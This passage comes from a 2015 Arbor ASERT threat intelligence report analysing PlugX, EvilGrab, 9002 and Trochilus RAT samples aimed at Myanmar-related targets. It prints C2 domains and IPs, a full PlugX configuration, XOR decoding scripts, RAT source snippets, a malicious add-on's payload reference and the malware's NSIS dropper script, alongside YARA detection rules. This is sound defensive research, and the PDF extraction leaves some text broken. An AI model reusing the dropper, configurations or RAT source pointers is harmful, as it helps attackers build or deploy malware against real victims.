(Norman.exe) = 23a3f48df4b36e3d2e63cde4b85cf4fa + MD5 (elogger.dll) = 5ff63e07a481e8768b3ef4d9ee91f13d + MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71 + RarSFX1/ folder + MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e +Figure 8: +Signed Norman.exe file used for DLL sideloading +Running setup.exe results in an +update install +success + dialog box, followed by an attempted TCP +connection to the previously mentioned site +222.222.222[.]222 on TCP/9999. +One of the supporting files inside the plgus_res.dll +archive is Norman.exe, a legitimate binary with the +original name of zlh.exe known as the +Program +Manager Stub + which is apparently created and +signed by Norman AS. The certificate was valid from +10/10/2012 + 10/11/2015, overlapping with the +timestamp used on the RAR file. +The elogger.dll file executes (with WinExec) the file Google.com.Logo that was included in the same directory +to add one additional layer of unpacking. Once the file Google.com.Logo is executed, it is removed from disk. +Google.com.Logo is a RAR file that contains mcf.ep, mcf.exe, and mcutil.dll. Following the execution path of +these files results in another instance of PlugX which is using the previously observed sites +webhttps.websecexp[.]com, usafbi.websecexp[.]com, usacia.websecexp[.]com, and appeur[.]gnway.cc as C2, +and a supplemental C2 pointer stored at http://epn.gov[.]co/plugins/search/search.html that was previously +documented in our paper +Defending the White Elephant + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +The complete PlugX configuration used in this sample is as follows: +[plugx] cnc: appeur.gnway.cc:90 +[plugx] cnc: webhttps.websecexp.com:443 +[plugx] cnc: usacia.websecexp.com:53 +[plugx] cnc: usafbi.websecexp.com:25 +[plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP) +[plugx] cnc2: usafbi.websecexp.com:25 (UDP) +[plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP) +[plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP) +[plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP) +[plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP) +[plugx] cnc_auth_str: 0528 ARPYB +[plugx] dns: 168.126.63.1 +[plugx] dns: 180.76.76.76 +[plugx] dns: 8.8.8.8 +[plugx] dns: 203.81.64.18 +[plugx] enable_icmp_p2p: +[plugx] enable_ipproto_p2p: 0 +[plugx] enable_p2p_scan: +[plugx] enable_tcp_p2p: +[plugx] enable_udp_p2p: +[plugx] flags1: +4294967295 +[plugx] flags2: +[plugx] hide_dll: +[plugx] http: http://epn.gov.co/plugins/search/search.html +[plugx] icmp_p2p_port: +1357 +[plugx] injection: +[plugx] inject_process: +%windir%\system32\svchost.exe +[plugx] inject_process: +%ProgramFiles%\Internet Explorer\iexplore.exe +[plugx] inject_process: +%windir%\explorer.exe +[plugx] inject_process: +%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe +[plugx] install_folder: +%AUTO%\TempLog +[plugx] ipproto_p2p_port: 1357 +[plugx] keylogger: +[plugx] mac_disable: 00:00:00:00:00:00 +[plugx] mutex: +Global\doWcQFXMASDGYkATMXXeKSsQ +[plugx] persistence: Service + Run Key +[plugx] plugx_auth_str: +open +[plugx] reg_hive: +2147483649 +[plugx] reg_key: +Software\Microsoft\Windows\CurrentVersion\Run +[plugx] reg_value: +EventLog +[plugx] screenshot_folder: %AUTO%\TempLog\bSHAMAPUKhFs +[plugx] screenshots: 0 +[plugx] screenshots_bits: +[plugx] screenshots_keep: 3 +[plugx] screenshots_qual: +[plugx] screenshots_sec: +[plugx] screenshots_zoom: 50 +[plugx] service_desc: +Windows Management EventLogs +[plugx] service_display_name: +Windows Management EventLogs +[plugx] service_name: +Windows Management EventLogs +[plugx] sleep1: +83886080 +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +[plugx] sleep2: +[plugx] tcp_p2p_port: +1357 +[plugx] uac_bypass_inject: %windir%\explorer.exe +[plugx] uac_bypass_inject: %windir%\system32\dllhost.exe +[plugx] uac_bypass_inject: %windir%\system32\msiexec.exe +[plugx] uac_bypass_inject: %windir%\system32\rundll32.exe +[plugx] uac_bypass_injection: +[plugx] udp_p2p_port: +1357 +Interesting observations of this sample include the cnc_auth_str of +0528 ARPYB + which may indicate the +malware creation or configuration date of Thursday, May 28, 2015. The staging date from the webserver +timestamp is Wednesday June 3, 2015, possibly indicating that the threat actors did not work over the +weekend. The presence of the common value + between PlugX samples #1 and #2 could indicate +someone +s initials or have some other meaning that is not known. The four DNS IP addresses in the +configuration file feature three of the same entries in sample #1, but this configuration reveals the addition of +the DNS IP address 180.76.76[.]76, which resolves to public-dns-a.baidu[.]com. The injection_process values +and the uac_bypass_inject values are the same between sample #1 and sample #2, but some other minor +changes to the configuration were also observed. +Sample #3: Unknown Malware +MD5 (Security-Patch-Update333.rar) = 5ed8b90a8d5cabda83fc814e2bbd9600 September 2, 2015 + MD5 (Security-Patch-Update.exe) = 82896b68314d108141728a4112618304 + Security-Patch-Update.exe is a binary signed by Binzhoushi Yongyu Feed Co.,LTd + The certificate is valid from 1/16/2014 + 1/17/2016. + Execution of this malware creates an +Internet Explorer + folder that contains the following files: + MD5 (conhost.exe) = f70b295c6a5121b918682310ce0c2165 + Appears to be a legit SandboxIE file, originally named SandboxieBITS.exe that is +signed by SANDBOXIE L.T.D. ASERT has 20 instances of this file being used in +malware operations. Additionally, analysis of the files PEHash +(ffb7a38174aab4744cc4a509e34800aee9be8e57) reveals 47 instances of the same +or slightly modified file being used in various PlugX operations since at least 2013. +This file imports functions from SBIeDll.dll. + MD5 (SBieDll.dll) = 6c5f17cbd4d0f95fd8f9563219838a05 + This file has its import section destroyed, suggesting that it is obfuscated and +malicious and not a legitimate SbieDll.dll file. Additionally, the first instruction inside +the DllEntryPoint is +pusha + which places the contents of all the registers on the +stack and is often observed in packed malicious code. This DLL file is sideloaded by +conhost.exe. + MD5 (dll2.xor) = 8477f2b4602c552fad68f8c192beeebf + Based upon the filename, this may be an XOR-ed DLL file. Additional analysis is +required. + MD5 (maindll.dll) = d8ede9e6c3a1a30398b0b98130ee3b38 + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger + This binary is obfuscated and requires further analysis. +MD5 (nvsvc.exe) = e0eb981ad6be0bd16246d5d442028687 + This file uses Microsoft Foundation Classes (MFC) and is signed by Square Network +Tech Co.,LTD from the city of Zhongshan, Guangdong province, China on November +12, 2014 at 9:01:58 PM (CN = Square Network Tech Co.,LTD (O = Square Network +Tech Co.,LTD. L = Zhongshan, S = Guangdong, C = CN). The digital signature contains +an attribute field 1.3.6.1.4.1.311.2.1.12 that lists the string +Microsoft Windows +Shell explorer https:www.trustasia.com + and was valid from Feb 21, 2014 + Feb 22, +2015. Trustasia.com is a digital certificate provider in Shanghai, China. +MD5 (runas.exe) = 6a541de84074a2c4ff99eb43252d9030 + This file contains a jump table with 7 cases, each leading to one of the five files +dropped by the malware, with two additional files referenced that are not present: +HOOK.DLL and mon. +Further research and investigation is pending. To provide some limited initial insight, we can observe the +presence of some interesting strings in memory as such: +"admin||0902" +"1qaz2wsx3edc" +.data:0042C400 00000029 C \\Microsoft\\Internet Explorer\\conhost.exe +.data:0042C42C 00000026 C \\Microsoft\\Internet Explorer\\dll2.xor +.data:0042C454 00000029 C \\Microsoft\\Internet Explorer\\maindll.dll +.data:0042C480 00000029 C \\Microsoft\\Internet Explorer\\SBieDll.dll +.data:0042C4AC 00000027 C \\Microsoft\\Internet Explorer\\nvsvc.exe +.data:0042C4D4 00000027 C \\Microsoft\\Internet Explorer\\runas.exe +.data:0042C4FC 0000000F C %USERPROFILE%\\ +.data:0042C50C 00000011 C Application Data +.data:0042C520 0000000E C AppData\\Local +.data:0042C534 0000000C C SHGetValueA +.data:0042C540 0000000C C Shlwapi.dll +.data:0042C54C 00000020 C SOFTWARE\\Micropoint\\Anti-Attack +.data:0042C56C 00000009 C MP100000 +.data:0042C578 00000012 C SOFTWARE\\JiangMin +.data:0042C58C 0000000C C InstallPath +.data:0042C598 00000014 C SOFTWARE\\rising\\RAV +.data:0042C5AC 0000000C C installpath +.data:0042C5B8 0000001C C SOFTWARE\\Avira\\Avira Destop +.data:0042C5D4 00000005 C Path +.data:0042C5DC 0000001C C SOFTWARE\\kingsoft\\Antivirus +.data:0042C5F8 00000009 C WorkPath +.data:0042C604 00000011 C Software\\360safe +.data:0042C618 0000000C C DefaultSkin +.data:0042C624 00000018 C SOFTWARE\\360Safe\\Liveup +.data:0042C63C 00000005 C curl +.data:0042C644 0000000D C 1qaz2wsx3edc +This sample never generated any network activity during automated or manual analysis. Further analysis is +required to obtain deeper insight into this sample (ASERT sample ID 29048791). +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Sample #4: The Newly Discovered Trochilus RAT +This is the first instance of the Trochilus RAT observed by ASERT. While there is a chance that other threat +intelligence analysts have discovered and documented this threat, we are unaware of any public reference to +this malware being used in targeted campaigns. Based on the information we have access to, this appears to +be a relatively new malware that has yet to be profiled. +MD5 (Update-Patch0999999.rar) = 282cdf360dc627dac145842e666ea7e5 September 23, 2015 + MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a + MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e + MD5 (System.dll) = 6f5257c0b8c0ef4d440f4f4fce85fb1b + MD5 (plgus_res.dll) = 03ef3d0131f27416b17807ab3ccd1556 + MD5 (data.dat) = 8c67c8b1b149d17bbe3a00c1aa6f940e + MD5 (shell.dll) = 304d83e15cce9b8dc826cdee2a96ef62 +This malware executes in memory only and the final payload never appears on disk in normal operations, +however the binaries can be decoded and are subsequently easier to analyze. +This sample makes an outbound connection to computer.security-centers[.]com at the current IP address of +211.255.32[.]130 on TCP/25 as well as a connection to the previously observed 222.222.222[.]222 on +TCP/9999. Sample #4 and sample #6 are very similar (both instances of the Trochilus RAT), and will be covered +in greater depth in a later section of this document. +Sample #5: Grabber/EvilGrab +While potentially dated, an in-depth analysis of EvilGrab can be found in the Trend Micro document +Report on Targeted Attack Campaigns + from 2013 [5]. +MD5 (Security-Patch-Update.rar) = 76c0285bb89556564594ce1927b837b7 October 9, 2015 + MD5 (Patch-Update.exe, IEChecker.exe) = 31c52be912b7269255ec669176663136 +The final decrypted payload for this malware only executes in memory and never touches disk, but is instead +injected into ctfmon.exe. Therefore, analysis of memory dumps for detection and classification may prove +fruitful. The following YARA rule can be used to aid such investigations. +// detects instances of EvilGrab aka Grabber malware. +// Arbor Networks ASERT Nov 2015 +rule evilgrab +strings: +$str1 = "%cload crypt32.dll error" +$str2 = "Outlook2003_HTTP" +$str3 = "Outlook2002_HTTP" + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +$str4 = "HTTP Server URL" +$str5 = "Outlook2003_IMAP" +$str6 = "Outlook2002_IMAP" +$str7 = "%cget %s 's password error!" +$str8 = "GetTcpTable failed with %d" +$str9 = "" +$str10 = "" +$str11 = "%USERPROFILE%\users.bin" +$str12 = "%c%s|(%s)|%d|%s|%s|%s|%s|%s|%s|%s|%d|%d|%x|%x|%s|" +condition: +8 of them +The file inside the RAR, IEChecker.exe, is a DLL file that contains a variety of obfuscation techniques including +dynamic string reassembly for the loading of API calls. This sample matches indicators for the EvilGrab +malware mentioned by Palo Alto networks [2] but this file has a distinct hash. Incidentally, the threat actors +and/or developer of the malware appear to have named it +Grabber + based on development strings found +therein. Others have called this malware +Tiger Shark RAT +The C2 information on this sample (dns[.]websecexp.com, ns[.]websecexp.com, appeur[.]gnway.cc), the +mutex (New2010-V3-Uninstall), and the version (v2014-v05) are identical to elements observed in the +malware that was profiled by Palo Alto Networks. The Grabber sample also initiates unusual network +connections via an HTTP GET request: +Figure 9: +Evilgrab/Grabber malware malformed HTTP beacon +Items of interest in this beacon include the presence of five extraneous bytes prior to the HTTP GET request. +These five bytes, plus the Host: header and the Accept-Language header of zh-cn and the unique Microsoft +string make for a solid network signature and an addition to YARA rules for malware hunting. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Sample #6: Trochilus RAT +Sample #4 and #6 are both instances of the newly discovered Trochilus RAT. +MD5 (Update-Patch.rar) = 4e666c05656080180068f35cc7b026cb October 21, 2015 + MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a + MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e + MD5 (plgus_res.dll) = 34dcfa1fa3e1573b2c401c195fb55833 + MD5 (shell.dll) = fb1d808c6d332fc8176cfa00a8325341 + MD5 (data.dat) = 15e16b0659d30e77f21807f779df0f4b +Trochilus RAT analysis (samples #4 and #6) +Since sample #4 and #6 are very similar, we will dive deeper into an analysis of sample #4, the first instance of +the Trochilus RAT that we encountered, named Update-Patch0999999.rar. Analysis reveals potentially useful +timestamps of files inside the RAR - Setup.exe is from March 10, 2014 and the other two files are from +September 23, 2015. +Figure 10: +Files from unpacked RAR of sample #4, Trochilus RAT +Figure 11: +Initial execution pop-up message +The file Setup.exe is a signed binary that appears to be a part of a +legitimate Microsoft Security Essentials package +(http://binarydb.com/soft/Microsoft-Security-Essentials-v327664/2) +that loads a legitimate binary named SqmApi.dll as part of normal +operations (sqmapi is inside the binaries import table). When +Setup.exe is executed, it quickly loads its own copy, in the local +directory, of SqmApi.dll which then generates a popup labeled +success + that prints the string +update install success +. This pop-up +message has been observed in several of the malware samples +contained in this set, and further drives home the +Update + theme of +the malware installation tactic that has been observed in filenames. +The SqmApi.dll file executes and generates the network connection to 222.222.222[.]222 on TCP/999 just +after generating the +update install success + pop-up message. Next, plgus_res.dll is loaded and executed with +CreateProcessA as seen in the following two images. + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Figure 12: +SqmApi.dll generates pop-up and initiates network connection +Figure 13: +Execution of SqmApi.dll results in the loading and execution of the file plgus_res.dll. +Figure 14: +Debugger illuminates the use of CreateProcessA to load plgus_res.dll +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Plgus_res.dll is actually a Trochilus RAT installation package created using the Nullsoft Installer (NSIS) format. +Extracting the contents of plgus_res.dll with a specific version of 7zip (7z beta 9.38 in this case + later versions +did not properly extract every file) allows all of the files to be viewed, including the NSIS installation script +itself, created by 7zip as [NSIS].nsi. Shell.dll and data.dat are both obfuscated files. Shell.dll is not an obvious +PE file, having been obfuscated via an encoding scheme. +Figure 15: +Files extracted from plgus_res.dll by 7zip reveal additional staging +Once the package file plgus_res.dll is properly decrypted, injected into memory and executed, the malware +generates an outbound connection over TCP/25. +Figure 16: +Trochilus RAT outbound connection - obfuscated +It is interesting to note that the first portion of binary data being sent from the compromised machine +contains the hex value 0x7e. Following this, a data packet containing 0x7e bytes is sent. In the screenshot +observed above, the network destination was no longer online. Therefore, traffic was redirected to a +simulated network in order to capture packets. +This malware attempted to evade sandbox analysis on several occasions, and was therefore coaxed to run +manually. The malicious code injects into services.exe. The volatility memory forensics framework malfind + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +plugin was used by ASERT research to determine that services.exe had been tampered with and a memory +dump of the malware was extracted. This malware therefore appears to run only in memory and does not +leave a footprint on the disk, except in the form of encoded files that do not execute by themselves and are +resistant to static file malware detection processes and static analysis. +The Shell.dll file is stored in an encoded manner, with the first 4095 bytes being subject to an XOR-based +encoding scheme. The data.dat file was encoded in a very similar manner except the whole file was encoded. +In the case of shell.dll and other files recovered from within this batch of RAR files, a cursory analysis that +includes running the +strings + tool over the binaries revealed some artifacts, yet many details (including PE +headers) were obfuscated in such a manner that static analysis tools will likely miss the malicious contents. +There are two important values that need to be obtained from the [NSIS].nsi file that correspond to variable +$1 and variable $2 that are used in an NSIS Integer Operation (IntOp). To use the following script (provided by +ASERT) to decode other instances of shell.dll, the values 227 and 240 observed here will need to be replaced +with whatever values are present inside the [NSIS].nsi file for the IntOp $1 and IntOp $2 functions (see +Appendix I for the full contents of a recovered [NSIS].nsi file). +import sys +fp = open(sys.argv[1], "rb") +enc_buf = fp.read() +fp.close() +one = 227 # IntOp $1 227 + 0 +two = 240 # IntOp $2 240 + 0 +three = 0 +plain = [] +for enc_byte in enc_buf: +if i > 4095: +break +three = (one + two) % 255 # IntOp $3 $1 + $2 ; IntOp $3 $3 % 255 +print "xor key: 0x%x" % three +plain_byte = ord(enc_byte) ^ three # IntOp $R2 $R2 ^ $3 +plain.append(chr(plain_byte)) +one = two # IntOp $1 $2 + 0 +two = three # IntOp $2 $3 + 0 +i += 1 +decrypted = "".join(plain) + enc_buf[4096:] +fp = open(sys.argv[1] + ".decrypted", "wb") +fp.write("".join(decrypted)) +fp.close() +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +In this case, the decoded file MD5 is 304d83e15cce9b8dc826cdee2a96ef62 and can more easily be analyzed +with IDA Pro or other static analysis tools. +Once clean binaries were extracted by the python script, artifacts revealed a connection to source code shared +at https://github[.]com/5loyd/trochilus known as the Trochilus RAT. Trochilus is a character from Greek +mythology that apparently invented the chariot, but the word also means +a kind of small bird + and can refer +to several types of hummingbirds. A third meaning comes from architecture, however the exact meaning +intended by the developer is unknown. +The NSIS script technique appears to be instrumented inside the builder for Trochilus, named Generator.exe. +The default parameters (3 and 5) for the second-layer encoding scheme used by Trochilus were observed in +this batch of samples, where the final payload was encoded inside data.dat by a routine called +XorFibonacciCrypt. If the USE_ENCRYPTED_CORE token is enabled during the build, then this encoding routine +is activated. +#ifdef USE_ENCRYPTED_CORE +debugLog(_T("decrypt dll file")); +XorFibonacciCrypt((LPBYTE)content, content.Size(), (LPBYTE)content, 3, 5); +#endif +This code can be found in https://github[.]com/5loyd/trochilus/blob/master/client/servant/shell/Shell.cpp +The source code for Shell.dll can be found at +https://github[.]com/5loyd/trochilus/tree/master/client/servant/shell +Various memory artifacts found from trochilus-master/client/servant/shell/SvtShell.cpp indicate that the +threat actors are at least using this portion of the code. Other artifacts were found from Shell.cpp in the same +directory. For example, the data.dat file can be found referenced at +https://github[.]com/5loyd/trochilus/tree/master/client/servant/body +The data.dat files built and encoded by Trochilus can be decoded using the following script: +import sys +fp = open(sys.argv[1], "rb") +enc_buf = fp.read() +fp.close() +# these are passed as arguments to the decrypt function +key_material_1 = 5 +key_material_2 = 3 +plain = [] +for enc_byte in enc_buf: +xor_key = (key_material_2 + key_material_1) % 255 +plain_byte = ord(enc_byte) ^ xor_key + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +plain.append(chr(plain_byte)) +key_material_2 = key_material_1 +key_material_1 = xor_key +fp = open(sys.argv[1] + ".decrypted", "wb") +fp.write("".join(plain)) +fp.close() +https://github[.]com/5loyd/trochilus/blob/master/client/servant/body/common.cpp contains a routine called +XorFibonacciCrypt that matches code observed inside the DLL and inside the NSIS package configuration: +for (DWORD i = 0; i < dwPlainLen; i++) +BYTE xorchar = (last1 + last2) % MAXBYTE; +last2 = last1; +last1 = xorchar; +lpOutput = (lpSource) ^ xorchar; +lpOutput ++; +lpSource ++; +Figure 17: Trochilus RAT readme file describes basic capabilities +Obtaining the source to the malware provided +many insights, including the fundamental +README that describes the basic functionality of +the RAT (observed in Figure 17). Other +researchers and analysts who wish to obtain +additional insight should download the code for +further analysis. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +After compiling the source code, the client builder for the Trochilus RAT malware appears as such: +Figure 18: +Trochilus RAT builder Generator.exe with Chinese -> English translations +The builder application, named Generator.exe (MD5: 4710c9f5dc156db756dab7e017b0bdb3) provides an +option for an IP address (default of 127.0.0.1) and an option to select HTTP, HTTPS, TCP, or UDP. The default +port value for all settings is 8081, and the other values are -1. Generating the malware using the default +settings (as seen above) results in the creation of a generator.ini file, which provides at-a-glance insight into +how these values are used. +Figure 19: +Sample Trochilus RAT INI file +A great number of additional insights into this +malware are available via the source code for those +that wish to perform further investigations. Suffice it +to say that this malware is being used in targeted +threat operations and deserves additional attention. +It is currently unknown if 5loyd (aka floyd419, using +mail floyd419[@]foxmail.com) has any connection to +threat actors involved, or is simply providing code +that others have used. Several watchers of 5loyd +code on github also provide interesting code +projects that could be used in advanced campaigns. +5loyd has also contributed to a Windows credential +dumping application known as quarkspwdump that +may be of interest to advanced threat researchers. + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Figure 20: +Github page for 5loyd where the trochilus RAT code is published +Figure 21: +Forum avatar for a user named +floyd419 +The bulk of development activity since the project was shared on github +took place between May and July of 2015. OSINT on the e-mail address +associated with 5loyd reveal a user named floyd419 that had posted on a +Chinese matlab forum [6]. Nothing further was obtained on this author at +this time, although a variety of other potentially interesting connections can +be observed. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Awareness of the Trochilus RAT seems very low, based on search inquiries. No results were returned in +English, however one hit was returned when searching the Chinese webspace [http://weisuo[.]org/?post=136] +from a site calling itself Villiage Mudhorse ( +). The site discusses various TTPs of system +penetration. The first user on the site (http://weisuo[.]org/?author=1), +c4bbage + posted the contents of the +github Trochilus page on May 23, 2015. While +c4bbage + shows a strong interest in system penetration and +related tools, there are no indications that +c4bbage + is involved in the threat activity described herein. +However the site likely helped more people learn about trochilus. +Figure 22: +Posting about trochilus RAT on Chinese forum +Initial inspection suggests there may only be two users on this site, author 1 +c4bbage + and author 3 +zcgonvh +Browsing the page of zcgonvh (http://weisuo[.]org/?author=3) reveals discussions about the China Chopper +webshell, known to be used by various Chinese APT actors. This page indicates that zcgonvh is the author of +China Chopper. A link to download China Chopper is also present on the site, but the code is inside a password +protected ZIP. Despite attempts to utilize the password provided on the page, the password was not accepted. +The link that discusses China Chopper is http://weisuo[.]org/?post=49. While this is an interesting bit of +information that provides links to other Chinese APT tactics and tools, exploring this further connection is +beyond the scope of this document and is left as a future exercise. +Much more insight can be obtained via the source code, however the bottom line is that the Trochilus RAT +appears to be relatively new and now that it has been discovered in the wild as part of targeted threat +campaign activity, defenders can operate with additional awareness. +Malware sample #7: 9002 RAT in Firefox Plugin +An unprofiled instance of the 9002 RAT (3102 variant) was found inside a malicious Firefox plugin found at +http://www.uecmyanmar[.]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.php and was submitted to +VirusTotal on August 21, 2015 from Japan and later on October 13 from Singapore. This file is no longer +present on the UEC website, but provides further insight into threat activity. While the RAT family and variant +is the same as discussed by Citizen Lab, this is a distinct sample. + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Filename: FlashVideoPlayer.php +MD5: fcd3bec917b1cc095c1f2b06a75c9412 +The plugin is built inside a ZIP file construct and contains the following contents: +MD5 (bootstrap.js) = bdd4b626ee6f2e15d7c3f80e7677003b +MD5 (chrome.manifest) = 29f3da9349f67129dd66e245d5187b72 +MD5 (eZNSMZ8r.exe) = 666522db14a021d1e255cc28c9fd8721 +MD5 (install.rdf) = 010922d600054fe89cd1d98b53395d54 +MD5 (overlay.xul) = 7f0be0ea9075dda2b318082d14c2181d +The malware itself is the eZNSMZ8r.exe file, often misclassified as the Gamarue malware. +The bootstrap.js file references the EXE as follows: +xpi_guid="{65d5c9ea-f5d6-e277-4254-ce58d766656e}";payload_name="eZNSMZ8r.exe"; +A user installing this Add-on would receive the following warning (when using a recent version of Firefox): +Figure 23: +Malicious Firefox add-on notification indicates that the add-on is unverified +Ignoring the prompt results in the presence of a fake +Adobe Flash Player + in the Extensions list from within +the Firefox about:addons menu. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Figure 24: +Artifacts left from unsuccessful installation of the malware +Accepting the risk and clicking on +Install + results in the spawning of two additional processes. One is the +aforementioned instance of the malicious binary named eZNSMZ8r.exe (running from +C:\Windows\tasks\eZNSMZ8r.exe), which launches another executable named Untitled.exe. +Figure 25: +Execution path of the 3102 variant of the 9002 RAT +Once the malware is successfully installed, there is no indication that an extension is active, as the +Extensions + list in Firefox does not reflect the presence of +Adobe Flash Player + (as seen above, from a nonsuccessful installation). Once Firefox is closed, the malware continues to execute. +The malware makes a DNS query for client.secvies[.]com, which as of this writing resolves to 123.1.181[.]38 +but previously resolved to 103.240.203[.]100 from the time period of August 20-25 2015. Since this latter IP +address more closely corresponds with the timing scheme associated with the campaign, a review of other +resolutions for this IP is of interest and reveals other PlugX activity taking place on the domain +googletranslatione[.]com. +A Full table of interesting domain resolutions for this IP and their timestamps is included herein: +Chinarrw[.]com 2015-11-17 11:16:18 +2015-11-17 11:16:18 +7caitu[.]com +2015-11-10 18:38:03 +2015-11-10 18:38:03 +www.chinarrw[.]com +2015-11-05 19:13:37 +2015-11-05 19:13:37 +7caitu[.]com +2015-10-29 07:22:22 +2015-11-04 14:00:47 +googletranslatione[.]com 2015-08-04 09:39:46 +2015-08-25 15:17:56 +client.secvies[.]com +2015-08-20 20:16:58 +2015-08-25 05:02:28 + Copyright 2015 Arbor Networks, Inc. All rights reserved. +PlugX +EvilGrab (or other RAT) +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +As the malware executes, we see the telltale beacon of the 3102 variant of the 9002 RAT as it beacons to the +C2, as well as an identifier being send of +UEC 21050816 + which likely indicates the date and subject of +interest involved in the threat activity. Further into the C2 beacon packet we see information about the +compromised machine. +Figure 26: +3102 variant of the 9002 RAT beaconing to C2 with identifier +UEC 20150816 +Recommendations +Malware such as PlugX, the 9002 RAT, EvilGrab, and the newly discovered Trochilus RAT are in use in the wild +and are likely providing actors with the tools they need to perform actions on objectives against their targets. +Both host and network monitoring processes should be put into place in order to detect these malware +families. +While these malware families have clearly been used against other targets (with the exception of Trochilus +which requires further research), organizations within and related to Myanmar, or those organizations +associated with the UNDP should be aware that they may have been (and may still be) a target and should +remain alert to any past or future e-mail messages that might contain spearphish or exploit code in +attachments. Due to spearphish delivery in other related campaigns, any mail messages or other content that +point users towards interactions with RAR files are also potentially suspicious. Additionally, an investigation +should be triggered when such organizations observe network traffic that relates the content described +herein. +In general, incident responders and threat intelligence staff should be aware of geopolitical targeting that +affects their interests and take appropriate actions. If log files containing malicious activity are available, they +can be leveraged to determine threat campaign activity. This allows responders to track spearphish attempts +and other exploitation vectors from the source to any targeted systems. Ongoing access to strategic +information is often the ultimate goal of threat actors. Determining what strategic information is of interest +can help organizations better pinpoint defensive technologies to detect compromise, thus limiting their +exposure and exfiltration of sensitive data. +Arbor ASERT is interested in any artifacts from the use of these malware and encourages any customers or +other organizations that have been targeted to contact us for additional discussions. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +Appendix I: NSIS script used to unpack and process Trochilus RAT samples +; NSIS script NSIS-3 +; Install +SetCompressor /SOLID lzma +SetCompressorDictSize 8 +; -------------------; HEADER SIZE: 3976 +; START HEADER SIZE: 300 +; MAX STRING LENGTH: 1024 +; STRING CHARS: 898 +OutFile [NSIS].exe +!include WinMessages.nsh +SilentInstall silent +; -------------------; LANG TABLES: 1 +; LANG STRINGS: 38 +Name Test +BrandingText "Nullsoft Install System v3.0b2" +; LANG: 1033 +LangString LSTR_0 1033 "Nullsoft Install System v3.0b2" +LangString LSTR_1 1033 "$(LSTR_2) Setup" +LangString LSTR_2 1033 Test +LangString LSTR_5 1033 "Can't write: " +LangString LSTR_8 1033 "Could not find symbol: " +LangString LSTR_9 1033 "Could not load: " +LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?" +LangString LSTR_19 1033 "ExecShell: " +LangString LSTR_21 1033 "Extract: " +LangString LSTR_22 1033 "Extract: error writing to file " +LangString LSTR_24 1033 "No OLE for: " +LangString LSTR_25 1033 "Output folder: " +LangString LSTR_29 1033 "Skipped: " +LangString LSTR_30 1033 "Copy Details To Clipboard" +LangString LSTR_36 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the +installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file." +LangString LSTR_37 1033 Custom +InstType $(LSTR_37) ; Custom +; wininit = $WINDIR\wininit.ini +; ------------------- + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +; SECTIONS: 1 +; COMMANDS: 56 +Section RC ; Section_0 +; AddSize 362 +SectionIn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 RO +StrCpy $R1 1024 +System::Call "kernel32::ExpandEnvironmentStrings(t $\"%ALLUSERSPROFILE%\WEventsCache$\",t .R1,i +1024)" +; Call Initialize_____Plugins +; SetOverwrite off +; File $PLUGINSDIR\System.dll +; SetDetailsPrint lastused +; Push "kernel32::ExpandEnvironmentStrings(t $\"%ALLUSERSPROFILE%\WEventsCache$\",t .R1,i 1024)" +; CallInstDLL $PLUGINSDIR\System.dll Call +StrCpy $INSTDIR $R1 +SetOutPath $INSTDIR +SetOverwrite on +File shell.dll +File data.dat +FileOpen $R1 $INSTDIR\Shell.dll a +IntOp $1 105 + 0 +IntOp $2 141 + 0 +IntOp $3 0 + 0 +StrCpy $R3 0 +Goto label_17 +label_16: +IntOp $R3 $R3 + 1 +label_17: +IntCmp $R3 4095 0 0 